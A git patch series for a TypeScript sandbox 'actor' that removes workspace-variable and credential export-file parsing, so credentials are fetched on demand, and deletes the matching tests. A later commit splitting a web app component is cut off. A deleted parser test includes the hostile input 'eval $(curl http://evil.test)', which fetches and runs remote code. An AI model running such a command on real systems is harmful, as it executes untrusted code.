a/packages/box/actor/src/actor.ts b/packages/box/actor/src/actor.ts index 99f82905..b6b8e916 100644 --- a/packages/box/actor/src/actor.ts +++ b/packages/box/actor/src/actor.ts @@ -178,13 +178,6 @@ class SessionActor { stopReason = "cancelled"; return { stopReason }; } - // Workspace variables are optional configuration: this call degrades to - // the actor's own environment rather than failing the prompt. - const environment = await this.credentials.environment(); - if (abort.signal.aborted) { - stopReason = "cancelled"; - return { stopReason }; - } try { const output = await this.adapter.runTurn({ sessionId: this.id, @@ -194,7 +187,9 @@ class SessionActor { resumeId: this.resumeId, signal: abort.signal, token, - environment, + // The actor's own environment, and nothing added. Every credential a + // turn may use is pulled at the moment of use with `blitz-cred get`. + environment: process.env, config: this.config, emit: (update) => this.emit(update, identity), requestPermission: (request) => this.requestPermission(request, identity), diff --git a/packages/box/actor/src/credentials.ts b/packages/box/actor/src/credentials.ts index a0ba4d4a..26a35e4e 100644 --- a/packages/box/actor/src/credentials.ts +++ b/packages/box/actor/src/credentials.ts @@ -1,6 +1,6 @@ import { execFile } from "node:child_process"; import { constants } from "node:fs"; -import { access, readFile, readdir } from "node:fs/promises"; +import { access } from "node:fs/promises"; import { join } from "node:path"; import { promisify } from "node:util"; import { isString } from "./type-guards.js"; @@ -45,146 +45,7 @@ function brokerReason(failure: ExecFailure): string { .slice(0, 200); } -type JsonValue = string | number | boolean | null | JsonObject | JsonValue[]; -interface JsonObject { [key: string]: JsonValue } - -/** Wait for the broker's first environment fetch, but only once. The file is - * written within a second of boot and then stays, so a prompt that arrives - * before it exists waits briefly; every later prompt reads through. */ -const ENVIRONMENT_WAIT_ATTEMPTS = 50; -const ENVIRONMENT_WAIT_INTERVAL_MS = 100; -/** Mirrors the control plane's `env` limits. The three runtimes that carry - * this payload cannot share a module — core/ may only import relatively — so - * `schema/fixtures/workspace-environment/` is what keeps the numbers equal. */ -const ENVIRONMENT_MAX_KEYS = 50; -const ENVIRONMENT_MAX_BYTES = 8 * 1024; -const ENVIRONMENT_KEY = /^[A-Za-z_][A-Za-z0-9_]*$/u; - -function isObject(value: Value): value is Value & JsonObject { - return typeof value === "object" && value !== null && !Array.isArray(value); -} - -/** Parses only what the agent uses. The startup script and the files-ready - * flag belong to the broker, which validates and acts on them; re-checking - * fields we then discard bought a third copy of that validator and nothing - * else. */ -export function parseWorkspaceEnvironmentVariables(source: string): Record { - let value: JsonValue; - try { - value = JSON.parse(source); - } catch { - throw new Error("workspace environment state is invalid JSON"); - } - if (!isObject(value)) throw new Error("workspace environment state must be an object"); - if (!isObject(value.env)) throw new Error("workspace environment env must be an object"); - const entries = Object.entries(value.env); - if (entries.length > ENVIRONMENT_MAX_KEYS) { - throw new Error("workspace environment has too many keys"); - } - const validated: Array<[string, string]> = []; - let bytes = 0; - for (const [name, candidate] of entries) { - if (!ENVIRONMENT_KEY.test(name) || !isString(candidate)) { - throw new Error("workspace environment contains an invalid variable"); - } - if (candidate.includes("\0")) { - throw new Error("workspace environment contains NUL"); - } - bytes += Buffer.byteLength(name) + Buffer.byteLength(candidate); - if (bytes > ENVIRONMENT_MAX_BYTES) throw new Error("workspace environment is too large"); - validated.push([name, candidate]); - } - return Object.fromEntries(validated); -} - -/** One statement of a broker-written export file, kept in the order the shell - * would have run it. */ -interface CredentialDirective { - name: string; - value: string; -} - -/** What `shellQuote` in packages/broker/internal/workspace/cp.go emits for a - * literal quote inside a single-quoted word: close, quote a quote, reopen. */ -const SHELL_QUOTE_ESCAPE = "'\"'\"'"; - -/** Linux caps one `NAME=value` string in an execve environment at - * MAX_ARG_STRLEN (32 pages, 128 KiB). A value over that limit cannot be - * delivered at all, so passing it through would fail the whole spawn instead - * of one variable. */ -const CREDENTIAL_MAX_ENTRY_BYTES = 128 * 1024; - -/** - * The statements in one `creds/env.d/*.sh` file, in file order. - * - * Written by the Go broker and read by /etc/profile.d/blitz-creds.sh, so this - * decodes exactly the one form that writer emits — `export NAME='value'` with - * every `'` escaped as `'"'"'` — and nothing else. Anything it does not - * recognise is dropped at the next line boundary rather than guessed at: these - * bytes become the environment of an agent, and a half-understood assignment - * is a worse answer than a missing one. - * - * Skipping is per statement, not per file, because the writer replaces the - * whole file atomically (`atomicfile.Write`) — a line this cannot read means - * the two sides have drifted, not that a read was torn, and dropping the file - * over it would retract every variable in it. A quoted value is consumed - * whole, newlines included, so a skip resumes on a real statement boundary for - * every file the broker actually produces. - */ -export function parseCredentialExportFile(source: string): CredentialDirective[] { - const directives: CredentialDirective[] = []; - let cursor = 0; - while (cursor < source.length) { - const read = readCredentialDirective(source, cursor); - if (read !== null) { - directives.push(read.directive); - cursor = read.next; - continue; - } - const newline = source.indexOf("\n", cursor); - if (newline === -1) break; - cursor = newline + 1; - } - return directives; -} - -/** Names are checked against {@link ENVIRONMENT_KEY} because the Go writer - * validates them with the identical pattern (`environmentNamePattern`): a name - * outside it never came from the broker. */ -function readCredentialDirective( - source: string, - start: number, -): { directive: CredentialDirective; next: number } | null { - if (!source.startsWith("export ", start)) return null; - const assign = source.indexOf("=", start); - if (assign === -1 || source[assign + 1] !== "'") return null; - const name = source.slice(start + "export ".length, assign); - if (!ENVIRONMENT_KEY.test(name)) return null; - let cursor = assign + 2; - let value = ""; - for (;;) { - const quote = source.indexOf("'", cursor); - if (quote === -1) return null; - value += source.slice(cursor, quote); - if (source.startsWith(SHELL_QUOTE_ESCAPE, quote)) { - // Greedy on purpose: the writer leaves no bare quote inside the word, so - // this sequence is always the escape and never a close followed by data. - value += "'"; - cursor = quote + SHELL_QUOTE_ESCAPE.length; - continue; - } - const end = quote + 1; - if (end !== source.length && source[end] !== "\n") return null; - if (value.includes("\0")) return null; - if (Buffer.byteLength(name) + 1 + Buffer.byteLength(value) > CREDENTIAL_MAX_ENTRY_BYTES) return null; - return { directive: { name, value }, next: end + 1 }; - } -} - export class CredentialSource { - private lastEnvironment: Record = {}; - private environmentWaited = false; - public constructor(private readonly stateDir: string) {} public async token(provider: Provider): Promise { @@ -211,82 +72,6 @@ export class CredentialSource { } return parseToken(stdout); } - - /** The agent's environment for one turn. Workspace variables are optional - * configuration, so every failure path here degrades to the actor's own - * environment: an enrolled box whose broker has not written the file yet, a - * box with nothing configured, and a torn or corrupt file all still run the - * prompt. This never rejects — a prompt must not fail over env. - * - * No connection secret is here. The agent pulls one when it needs one - * (`blitz-cred get `), so a turn carries only the workspace's own - * configured variables. The layering is the login shell's, reproduced: this - * process's own environment underneath, then the workspace's configured - * variables, then `creds/env.d/*.sh` applied in sorted filename order - * exactly as the glob in /etc/profile.d/blitz-creds.sh expands it. Chat and - * a terminal tab read the identical bytes in the identical order, so they - * cannot disagree about what a variable holds. */ - public async environment(): Promise { - const configured = await this.workspaceVariables(); - const merged: NodeJS.ProcessEnv = { ...process.env, ...configured }; - for (const directive of await this.credentialDirectives()) { - merged[directive.name] = directive.value; - } - return merged; - } - - /** Every statement in `creds/env.d`, concatenated in glob order. - * - * A missing directory is the normal state of a box whose broker has not - * written the workspace entry yet. It degrades to "no variables" rather than - * failing the turn. */ - private async credentialDirectives(): Promise { - const directory = join(this.stateDir, "creds", "env.d"); - const entries = await readdir(directory).catch(() => null); - if (entries === null) return []; - // Node sorts by UTF-16 code unit, which is byte order for the ASCII file - // names the broker writes — the same order the shell's glob produces. - const files = entries.filter((entry) => entry.endsWith(".sh")).sort(); - const directives: CredentialDirective[] = []; - for (const file of files) { - const source = await readFile(join(directory, file), "utf8").catch(() => null); - if (source !== null) directives.push(...parseCredentialExportFile(source)); - } - return directives; - } - - private async workspaceVariables(): Promise> { - const statePath = join(this.stateDir, "env", "environment.json"); - // Probe enrollment the same way token() does. `origin` is written by the - // enroll step; broker.json is what says a broker is actually running and - // therefore that a fetch is on its way. - const attempts = this.environmentWaited || !(await this.brokerPresent()) - ? 1 - : ENVIRONMENT_WAIT_ATTEMPTS; - for (let attempt = 0; attempt < attempts; attempt += 1) { - if (attempt > 0) { - await new Promise((resolve) => setTimeout(resolve, ENVIRONMENT_WAIT_INTERVAL_MS)); - } - const source = await readFile(statePath, "utf8").catch(() => null); - if (source === null) continue; - try { - this.lastEnvironment = parseWorkspaceEnvironmentVariables(source); - } catch { - // Keep the last good copy rather than dropping configuration because - // one read caught a half-written file. - break; - } - return this.lastEnvironment; - } - this.environmentWaited = true; - return this.lastEnvironment; - } - - private brokerPresent(): Promise { - return access(join(this.stateDir, "broker.json"), constants.R_OK) - .then(() => true) - .catch(() => false); - } } /** The broker's stdout, parsed into a token. diff --git a/packages/box/actor/test/blitz-term-credentials.test.ts b/packages/box/actor/test/blitz-term-credentials.test.ts index f20b47ec..7bc2176d 100644 --- a/packages/box/actor/test/blitz-term-credentials.test.ts +++ b/packages/box/actor/test/blitz-term-credentials.test.ts @@ -7,13 +7,12 @@ import { afterEach, describe, expect, it } from "vitest"; /** * blitz-term hands a tab's environment to tmux, which execs the agent without - * a login shell — so whatever this script does not source, the agent does not - * have. It used to source only `00-workspace.sh` and step over the credential - * files beside it, which left a claude tab unable to read the very token its - * workspace had connected. These drive the real script with stub tmux, + * a login shell. No secret rides that hand-off: every credential, the + * workspace's own variables included, is pulled at the moment of use with + * `blitz-cred get `, so a tmux session environment can never outlive the + * grant that authorized it. These drive the real script with stub tmux, * blitz-cred and timeout binaries, because the failures that matter here are - * runtime ones `bash -n` cannot see: an unsourced glob, or a `set -e` abort - * that takes the terminal down with it. + * runtime ones `bash -n` cannot see. */ const blitzTermPath = fileURLToPath( @@ -56,7 +55,6 @@ const TIMEOUT_STUB = "#!/bin/sh\nshift\nexec \"$@\"\n"; interface TermBox { stateDir: string; - envDir: string; binDir: string; } @@ -74,8 +72,6 @@ function stub(binDir: string, name: string, body: string): void { function makeTermBox(): TermBox { const stateDir = mkdtempSync(join(tmpdir(), "term-creds-")); boxes.push(stateDir); - const envDir = join(stateDir, "creds", "env.d"); - mkdirSync(envDir, { recursive: true }); const binDir = join(stateDir, "stub-bin"); mkdirSync(binDir); stub(binDir, "tmux", TMUX_STUB); @@ -88,7 +84,7 @@ function makeTermBox(): TermBox { "blitz-cred", `#!/bin/sh\nprintf '%s\\n' "$*" >>'${join(stateDir, "cred-calls")}'\n`, ); - return { stateDir, envDir, binDir }; + return { stateDir, binDir }; } function runTerm(box: TermBox, args: string[]): Promise { @@ -139,94 +135,47 @@ function credCalls(box: TermBox): string[] { return existsSync(path) ? readFileSync(path, "utf8").trim().split("\n") : []; } -function writeEnvFile(box: TermBox, file: string, body: string): void { - writeFileSync(join(box.envDir, file), body); -} - -/** A box whose workspace declares variables. Only the workspace entry lives in - * env.d now: connection secrets are pulled at the moment of use. */ -function configuredBox(): TermBox { - const box = makeTermBox(); - writeEnvFile(box, "00-workspace.sh", "export PROJECT_MODE='analysis'\nexport REGION='eu'\n"); - return box; -} - -describe("blitz-term credential delivery", () => { - it("gives an agent tab the whole env.d glob", async () => { - const box = configuredBox(); - expect(await runTerm(box, ["claude", "run"])).toBe(0); - expect(deliveredEnv(box, "new-session")).toMatchObject({ - PROJECT_MODE: "analysis", - REGION: "eu", - }); - }); - - it("gives a plain terminal tab the same environment", async () => { - const box = configuredBox(); - expect(await runTerm(box, ["terminal", "shell"])).toBe(0); - expect(deliveredEnv(box, "new-session").PROJECT_MODE).toBe("analysis"); - }); - - it("carries no connection secret into the tmux session", async () => { - // A tab used to inherit every connected provider's token, and a tmux - // session environment outlives the grant that authorized it. An agent now - // asks for a credential when it needs one. - const box = configuredBox(); +describe("blitz-term carries no credential", () => { + it("starts a tab with no secret in the tmux session environment", async () => { + const box = makeTermBox(); expect(await runTerm(box, ["claude", "run"])).toBe(0); - expect(deliveredEnv(box, "new-session").GH_TOKEN).toBe(""); + const delivered = deliveredEnv(box, "new-session"); + expect(delivered.GH_TOKEN).toBe(""); + expect(delivered.PROJECT_MODE).toBe(""); + // Pulling one here would put it in a session environment that outlives the + // grant. The agent asks for its own when it needs one. expect(credCalls(box)).toEqual([]); }); - it("starts the tab anyway when an entry cannot be read", async () => { - const box = configuredBox(); - // env.d entries are mode 0600 and a stripped or half-migrated box can leave - // one unreadable. Under `set -euo pipefail` a careless source here would - // take the whole terminal down instead of one variable. - writeEnvFile(box, "mm-locked.sh", "export LOCKED='x'\n"); - chmodSync(join(box.envDir, "mm-locked.sh"), 0o000); - try { - expect(await runTerm(box, ["claude", "run"])).toBe(0); - expect(deliveredEnv(box, "new-session").PROJECT_MODE).toBe("analysis"); - } finally { - chmodSync(join(box.envDir, "mm-locked.sh"), 0o600); - } - }); - - it("starts the tab when the workspace declares nothing", async () => { + it("ignores a creds/env.d left behind by an older box image", async () => { + // The broker no longer writes this directory, but a box that boots on an + // upgraded image still has yesterday's file on its state volume. Sourcing + // it would re-export a value the workspace may already have revoked. const box = makeTermBox(); - rmSync(join(box.stateDir, "creds"), { recursive: true, force: true }); + const envDir = join(box.stateDir, "creds", "env.d"); + mkdirSync(envDir, { recursive: true }); + writeFileSync(join(envDir, "00-workspace.sh"), "export PROJECT_MODE='analysis'\n"); expect(await runTerm(box, ["claude", "run"])).toBe(0); expect(deliveredEnv(box, "new-session").PROJECT_MODE).toBe(""); }); }); describe("blitz-term tmux session environment", () => { - it("names every sourced variable in a tmux -e flag", async () => { - const box = configuredBox(); - expect(await runTerm(box, ["claude", "run"])).toBe(0); - const flags = sessionEnvFlags(deliveredArgv(box, "new-session")); - // Exporting alone reaches the agent only when this client also starts the - // tmux server. Bootstrap's blitz-rc session usually starts it first, so - // the tab has to state its environment rather than inherit it. - expect(flags).toContain("PROJECT_MODE=analysis"); - expect(flags).toContain("REGION=eu"); - expect(flags).toContain("LANG=C.UTF-8"); - expect(flags).toContain("LC_ALL=C.UTF-8"); - }); - - it("names only what env.d changed, not the whole inherited environment", async () => { - // PATH and BLITZ_STATE_DIR reach blitz-term from ttyd, unchanged by the - // glob. Restating them would let a stale tab pin an old PATH. - const box = configuredBox(); + it("names the locale pair in tmux -e flags, and nothing else", async () => { + const box = makeTermBox(); expect(await runTerm(box, ["claude", "run"])).toBe(0); - const names = sessionEnvFlags(deliveredArgv(box, "new-session")) - .map((flag) => flag.slice(0, flag.indexOf("="))); - expect(names).not.toContain("PATH"); - expect(names).not.toContain("BLITZ_STATE_DIR"); + // A tmux server hands later sessions its own startup snapshot rather than + // the creating client's environment, and the box's first session is a + // detached blitz-rc started from a bare `docker exec` with no LANG. So the + // tab has to state the locale rather than inherit it. PATH and + // BLITZ_STATE_DIR are deliberately absent: restating them would let a + // stale tab pin an old PATH. + expect(sessionEnvFlags(deliveredArgv(box, "new-session"))) + .toEqual(["LANG=C.UTF-8", "LC_ALL=C.UTF-8"]); }); it("passes no -e on the read-only attach path", async () => { - const box = configuredBox(); + const box = makeTermBox(); writeFileSync(join(box.stateDir, "session-claude-obs"), ""); expect(await runTerm(box, ["claude", "obs", "ro"])).toBe(0); // `-e` applies on create only, and an observer never creates. @@ -238,8 +187,7 @@ describe("blitz-term tmux session environment", () => { // forceReadOnlyTerminalArgs) appends "ro" only to a two-argument request // and refuses any other shape. The -e flags are tmux argv, never // blitz-term argv, so that contract must stay exactly ` [ro]`. - const box = configuredBox(); + const box = makeTermBox(); expect(await runTerm(box, ["claude", "run", "ro", "extra"])).toBe(2); }); }); - diff --git a/packages/box/actor/test/credential-environment.test.ts b/packages/box/actor/test/credential-environment.test.ts deleted file mode 100644 index f2a07b4d..00000000 --- a/packages/box/actor/test/credential-environment.test.ts +++ /dev/null @@ -1,213 +0,0 @@ -import { chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, describe, expect, it } from "vitest"; -import { ActorService, Subscriber } from "../src/actor.js"; -import { ChatSessionStore } from "../src/chat-session.js"; -import { CredentialSource, parseCredentialExportFile } from "../src/credentials.js"; -import type { AgentAdapter, Provider } from "../src/types.js"; -import type { ConnectionIdentity } from "../src/auth.js"; - -/** - * The workspace's own variables arrive as a shell export file in - * `/creds/env.d`, and a chat turn was once the one participant in the - * box that could not read them: login shells source the glob through - * /etc/profile.d/blitz-creds.sh, the actor read only `env/environment.json`. - * These pin the decoder against the exact bytes the Go writer emits - * (`environmentFile`/`shellQuote` in - * packages/broker/internal/workspace/environment.go) and the layering against - * the order the shell glob applies. - * - * No connection secret is here. An agent pulls one when it needs one. - */ - -const directories: string[] = []; -const originalPath = process.env.PATH; - -afterEach(() => { - process.env.PATH = originalPath; - for (const directory of directories.splice(0)) { - rmSync(directory, { recursive: true, force: true }); - } -}); - -function stateDir(): string { - const directory = mkdtempSync(join(tmpdir(), "blitz-creds-env-")); - directories.push(directory); - return directory; -} - -/** `shellQuote` from cp.go, so the corpus below is the writer's own output and - * not a hand-drawn imitation of it. */ -function shellQuote(value: string): string { - return `'${value.replaceAll("'", `'"'"'`)}'`; -} - -function exportLine(name: string, value: string): string { - return `export ${name}=${shellQuote(value)}\n`; -} - -/** Writes one env.d entry the way the broker does. */ -function writeEnvFile(directory: string, file: string, lines: string[]): void { - const envDir = join(directory, "creds", "env.d"); - mkdirSync(envDir, { recursive: true }); - writeFileSync(join(envDir, file), lines.join("")); -} - -function writeWorkspaceEnvironment(directory: string, env: Record): void { - mkdirSync(join(directory, "env"), { recursive: true }); - writeFileSync( - join(directory, "env", "environment.json"), - JSON.stringify({ env, startupScript: null, filesReady: true }), - ); -} - -describe("credential export file decoding", () => { - it("reads the plain export lines the broker writes", () => { - expect(parseCredentialExportFile(exportLine("PROJECT_MODE", "analysis") + exportLine("REGION", "eu"))).toEqual([ - { name: "PROJECT_MODE", value: "analysis" }, - { name: "REGION", value: "eu" }, - ]); - }); - - it("unescapes a value carrying single quotes the way shellQuote escaped it", () => { - // The close-quote-a-quote-reopen dance, which a naive split on ' would - // shred into three variables and a syntax error. - const source = exportLine("MOTTO", "it's a 'quoted' token"); - expect(source).toBe(`export MOTTO='it'"'"'s a '"'"'quoted'"'"' token'\n`); - expect(parseCredentialExportFile(source)).toEqual([ - { name: "MOTTO", value: "it's a 'quoted' token" }, - ]); - // A value that is nothing but a quote is the degenerate case: the escape - // sits flush against both delimiters. - expect(parseCredentialExportFile(exportLine("ONE", "'"))).toEqual([ - { name: "ONE", value: "'" }, - ]); - }); - - it("skips an unset line, which the writer no longer emits", () => { - // Tombstones went with the delivery pipeline. A file that still carried - // one would have drifted from the writer, so the safe read is to drop it. - expect(parseCredentialExportFile(`${exportLine("KEPT", "yes")}unset RETRACTED\n`)).toEqual([ - { name: "KEPT", value: "yes" }, - ]); - }); - - it("skips a line it cannot read and keeps the credentials around it", () => { - const source = [ - exportLine("BEFORE", "1"), - "export 9INVALID='x'\n", - "eval $(curl http://evil.test)\n", - "export UNTERMINATED='oops\n", - exportLine("AFTER", "2"), - ].join(""); - expect(parseCredentialExportFile(source)).toEqual([ - { name: "BEFORE", value: "1" }, - { name: "AFTER", value: "2" }, - ]); - }); - - it("carries values holding =, spaces and newlines through intact", () => { - const connection = "postgres://u:p@host:5432/db?sslmode=require"; - const pem = "-----BEGIN KEY-----\nline one\nline two\n-----END KEY-----"; - expect(parseCredentialExportFile(exportLine("DATABASE_URL", connection) - + exportLine("GREETING", " two words ") - + exportLine("SERVICE_KEY", pem))).toEqual([ - { name: "DATABASE_URL", value: connection }, - { name: "GREETING", value: " two words " }, - { name: "SERVICE_KEY", value: pem }, - ]); - }); -}); - -describe("credential environment layering", () => { - it("applies env.d in glob order over the workspace variables and the process env", async () => { - const directory = stateDir(); - writeWorkspaceEnvironment(directory, { PROJECT_MODE: "analysis", REGION: "eu" }); - writeEnvFile(directory, "00-workspace.sh", [ - exportLine("PROJECT_MODE", "analysis"), - exportLine("REGION", "eu"), - ]); - - const environment = await new CredentialSource(directory).environment(); - expect(environment.PROJECT_MODE).toBe("analysis"); - expect(environment.REGION).toBe("eu"); - // The actor's own environment stays underneath both layers. - expect(environment.PATH).toBe(process.env.PATH); - }); - - it("carries no connection secret, because none is delivered", async () => { - // A turn used to inherit every connected provider's token. An agent now - // asks for one when it needs one, so a leaked transcript of the turn's - // environment holds nothing to rotate. - const directory = stateDir(); - writeWorkspaceEnvironment(directory, { PROJECT_MODE: "analysis" }); - writeEnvFile(directory, "00-workspace.sh", [exportLine("PROJECT_MODE", "analysis")]); - - const environment = await new CredentialSource(directory).environment(); - expect("GH_TOKEN" in environment).toBe(false); - expect("LINEAR_API_KEY" in environment).toBe(false); - }); - - it("degrades to the workspace variables alone when env.d is absent", async () => { - const directory = stateDir(); - writeWorkspaceEnvironment(directory, { PROJECT_MODE: "analysis" }); - const environment = await new CredentialSource(directory).environment(); - expect(environment.PROJECT_MODE).toBe("analysis"); - expect(environment.PATH).toBe(process.env.PATH); - }); - - it("degrades rather than throwing when env.d is unreadable", async () => { - const directory = stateDir(); - // A directory the process cannot list is the same answer as no directory: - // no credentials, and a turn that still runs. - mkdirSync(join(directory, "creds", "env.d"), { recursive: true }); - chmodSync(join(directory, "creds", "env.d"), 0o000); - try { - await expect(new CredentialSource(directory).environment()) - .resolves.toMatchObject({ PATH: process.env.PATH }); - } finally { - chmodSync(join(directory, "creds", "env.d"), 0o700); - } - }); -}); - -/** Records the order the turn touches the credential source in. Both calls are - * overridden rather than spied so the suite never shells out. */ -class OrderedCredentials extends CredentialSource { - public readonly calls: string[] = []; - - public override async token(_provider: Provider): Promise { - this.calls.push("token"); - return null; - } - - public override async environment(): Promise { - this.calls.push("environment"); - return {}; - } -} - -const owner: ConnectionIdentity = { userId: "u", membershipId: "m", role: "owner" }; - -describe("the turn reads the environment once", () => { - it("mints the harness login before it reads the environment", async () => { - const directory = stateDir(); - const store = new ChatSessionStore(join(directory, "chat-session.db")); - const credentials = new OrderedCredentials(directory); - const adapter: AgentAdapter = { - runTurn: () => Promise.resolve({ stopReason: "end_turn" as const }), - }; - const service = new ActorService(store, credentials, () => adapter, "claude"); - const subscriber = new Subscriber("sub", owner, () => undefined); - try { - const session = await service.newSession("/workspace", subscriber); - await service.prompt(session, [{ type: "text", text: "hello" }], subscriber); - } finally { - store.close(); - } - // A turn that abandons ship over the harness login must not pay for the - // environment read first. - expect(credentials.calls).toEqual(["token", "environment"]); - }); -}); diff --git a/packages/box/actor/test/workspace-environment.test.ts b/packages/box/actor/test/workspace-environment.test.ts deleted file mode 100644 index 6f7d13bb..00000000 --- a/packages/box/actor/test/workspace-environment.test.ts +++ /dev/null @@ -1,96 +0,0 @@ -import { mkdirSync, readFileSync, readdirSync, writeFileSync } from "node:fs"; -import { mkdtempSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { fileURLToPath } from "node:url"; -import { describe, expect, it } from "vitest"; -import { CredentialSource, parseWorkspaceEnvironmentVariables } from "../src/credentials.js"; - -const fixtures = fileURLToPath( - new URL("../../../schema/fixtures/workspace-environment/", import.meta.url), -); - -/** The actor consumes only `env`, so it answers to the fixtures that constrain - * `env`. The startup script and files-ready flag are the broker's to validate. */ -const notActorConcerns = new Set([ - "extra-field.json", - "files-ready-type.json", - "startup-script-type.json", -]); - -function sources(kind: "valid" | "invalid"): Array<[string, string]> { - return readdirSync(join(fixtures, kind)) - .filter((name) => name.endsWith(".json")) - .sort() - .map((name) => [name, readFileSync(join(fixtures, kind, name), "utf8")]); -} - -function stateDir(): string { - return mkdtempSync(join(tmpdir(), "blitz-actor-env-")); -} - -describe("workspace environment state fixtures", () => { - it("accepts every valid response persisted by the box", () => { - for (const [name, source] of sources("valid")) { - expect(() => parseWorkspaceEnvironmentVariables(source), name).not.toThrow(); - } - }); - - it("rejects every invalid environment persisted by the box", () => { - for (const [name, source] of sources("invalid")) { - if (notActorConcerns.has(name)) continue; - expect(() => parseWorkspaceEnvironmentVariables(source), name).toThrow(); - } - }); - - it("reads the variables the broker stored", () => { - const directory = stateDir(); - mkdirSync(join(directory, "env"), { recursive: true }); - writeFileSync(join(directory, "env", "environment.json"), JSON.stringify({ - env: { PROJECT_MODE: "analysis" }, - startupScript: "npm install\n", - filesReady: true, - })); - return expect(new CredentialSource(directory).environment()) - .resolves.toMatchObject({ PROJECT_MODE: "analysis" }); - }); -}); - -describe("workspace environment never gates a prompt", () => { - it("falls back to the process environment when the file is absent", async () => { - const directory = stateDir(); - // Enrolled: the broker is running, it just has not written the file. This - // is the state an enrolled box with no environment configured stays in. - writeFileSync(join(directory, "broker.json"), "{}"); - writeFileSync(join(directory, "origin"), "https://example.test"); - const source = new CredentialSource(directory); - await expect(source.environment()).resolves.toMatchObject({ PATH: process.env.PATH }); - // Waiting happens once; a later prompt must not pay for it again. - const started = Date.now(); - await expect(source.environment()).resolves.toMatchObject({ PATH: process.env.PATH }); - expect(Date.now() - started).toBeLessThan(1_000); - }); - - it("falls back when the stored environment is corrupt", async () => { - const directory = stateDir(); - mkdirSync(join(directory, "env"), { recursive: true }); - writeFileSync(join(directory, "env", "environment.json"), "{ not json"); - await expect(new CredentialSource(directory).environment()) - .resolves.toMatchObject({ PATH: process.env.PATH }); - }); - - it("keeps the last good variables when a later read is torn", async () => { - const directory = stateDir(); - const statePath = join(directory, "env", "environment.json"); - mkdirSync(join(directory, "env"), { recursive: true }); - writeFileSync(statePath, JSON.stringify({ - env: { KEEP: "yes" }, - startupScript: null, - filesReady: true, - })); - const source = new CredentialSource(directory); - await expect(source.environment()).resolves.toMatchObject({ KEEP: "yes" }); - writeFileSync(statePath, '{"env": {"KEEP'); - await expect(source.environment()).resolves.toMatchObject({ KEEP: "yes" }); - }); -}); From 51becac5bf8721e657dc675d8c710f66db6e6346 Mon Sep 17 00:00:00 2001 From: Claude Fable 5 Date: Fri, 28 Aug 2026 23:47:17 +0000 Subject: [PATCH 16/43] webapp: split CloudApp into rail, panes, routes and dialog stack MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CloudApp.tsx was 2,265 lines and on the max-lines debt list. Four containers move out, mechanically and with no behaviour change: - src/shell/ShellRail.tsx — column one (wraps DriveRail today) - src/shell/WorkPanes.tsx — the .webapp-panes grid and its surfaces - src/shell/SecondaryRoutes.tsx — every non-workspace route branch - src/shell/ShellDialogs.tsx — the modal stack the rail raises - src/shell/PasteCodeModal.tsx — lifted out of CloudApp's preamble CloudApp.tsx: 2,265 -> 1,877 lines. Gates unchanged: typecheck clean, lint baseline untouched (102 anti-slop, 7 max-lines warnings), webapp 41 files / 336 tests green. Co-Authored-By: Claude Fable 5 --- packages/webapp/src/CloudApp.tsx | 670 ++++-------------- packages/webapp/src/shell/PasteCodeModal.tsx | 62 ++ packages/webapp/src/shell/SecondaryRoutes.tsx | 260 +++++++ packages/webapp/src/shell/ShellDialogs.tsx | 151 ++++ packages/webapp/src/shell/ShellRail.tsx | 81 +++ packages/webapp/src/shell/WorkPanes.tsx | 313 ++++++++ 6 files changed, 1008 insertions(+), 529 deletions(-) create mode 100644 packages/webapp/src/shell/PasteCodeModal.tsx create mode 100644 packages/webapp/src/shell/SecondaryRoutes.tsx create mode 100644 packages/webapp/src/shell/ShellDialogs.tsx create mode 100644 packages/webapp/src/shell/ShellRail.tsx create mode 100644 packages/webapp/src/shell/WorkPanes.tsx diff --git a/packages/webapp/src/CloudApp.tsx b/packages/webapp/src/CloudApp.tsx index 95358260..43dc6135 100644 --- a/packages/webapp/src/CloudApp.tsx +++ b/packages/webapp/src/CloudApp.tsx @@ -5,7 +5,6 @@ import { useReducer, useRef, useState, - type CSSProperties, type ReactNode, type MouseEvent as ReactMouseEvent, } from 'react'; @@ -18,23 +17,14 @@ import { import type { ControlPlaneClient } from './api'; import type { CredentialRequestView, FolderAttachmentView } from '@blitzos/schema'; import { - WebAppHeader, SPAWN_SESSION_LABELS, type WebAppTabModel, type SpawnSessionType, } from './WebAppHeader'; import { FileIcon } from './WebAppIcons'; -import { DriveHome } from './files/DriveHome'; -import { CreateRecipeScreen } from './files/CreateRecipeScreen'; -import { CreateTemplateScreen } from './files/CreateTemplateScreen'; -import { DriveRail, type DriveRailNav, type DriveRailSession } from './files/DriveRail'; -import { RecipesHome } from './files/RecipesHome'; -import { TemplatesHome } from './files/TemplatesHome'; +import type { DriveRailNav, DriveRailSession } from './files/DriveRail'; import { ShareToDriveDialog } from './files/ShareToDriveDialog'; -import { - CreateWorkspaceDialog, - type CreateWorkspaceDialogInput, -} from './CreateWorkspaceDialog'; +import type { CreateWorkspaceDialogInput } from './CreateWorkspaceDialog'; import { ConfirmationDialog } from './ConfirmationDialog'; import { caughtErrorMessage } from './error-message'; import { @@ -42,24 +32,23 @@ import { WebAppLoadingShell, } from './LoadingSkeleton'; import { machineTypeLabel } from './MachineCatalogGrid'; -import { SettingsHeader, SettingsPage } from './SettingsPage'; -import { ShareWorkspaceDialog } from './ShareWorkspaceDialog'; -import { WorkspaceDetailsDialog } from './WorkspaceDetailsDialog'; import { bindVisualViewportGeometry, useMobileWebApp, } from './mobile-webapp'; +import { PasteCodeModal } from './shell/PasteCodeModal'; +import { ShellDialogs, type WebAppConfirmation } from './shell/ShellDialogs'; +import { ShellRail } from './shell/ShellRail'; +import { isSecondaryRoute, SecondaryRoutes } from './shell/SecondaryRoutes'; +import { WorkPanes } from './shell/WorkPanes'; import { drivePath, folderPagePath, parseAppRoute, - recipeEditPath, - recipeNewPath, recipesPath, settingsPath, workspacePath, type SettingsSection, - templateEditPath, templateNewPath, templatesPath, } from './sessions-page-state'; @@ -94,10 +83,8 @@ import { import { useWorkspaceTabDrag } from './use-workspace-tab-drag'; import { WorkspaceRailStrip } from './WorkspaceRailStrip'; import { TERMINAL_KEYBOARD_EVENT, TERMINAL_PASTE_EVENT } from './terminal-touch'; -import { terminalPastePayload } from './terminal-paste'; -import { TERMINAL_SUBMIT_EVENT, TtydTerminal } from './TtydTerminal'; +import { 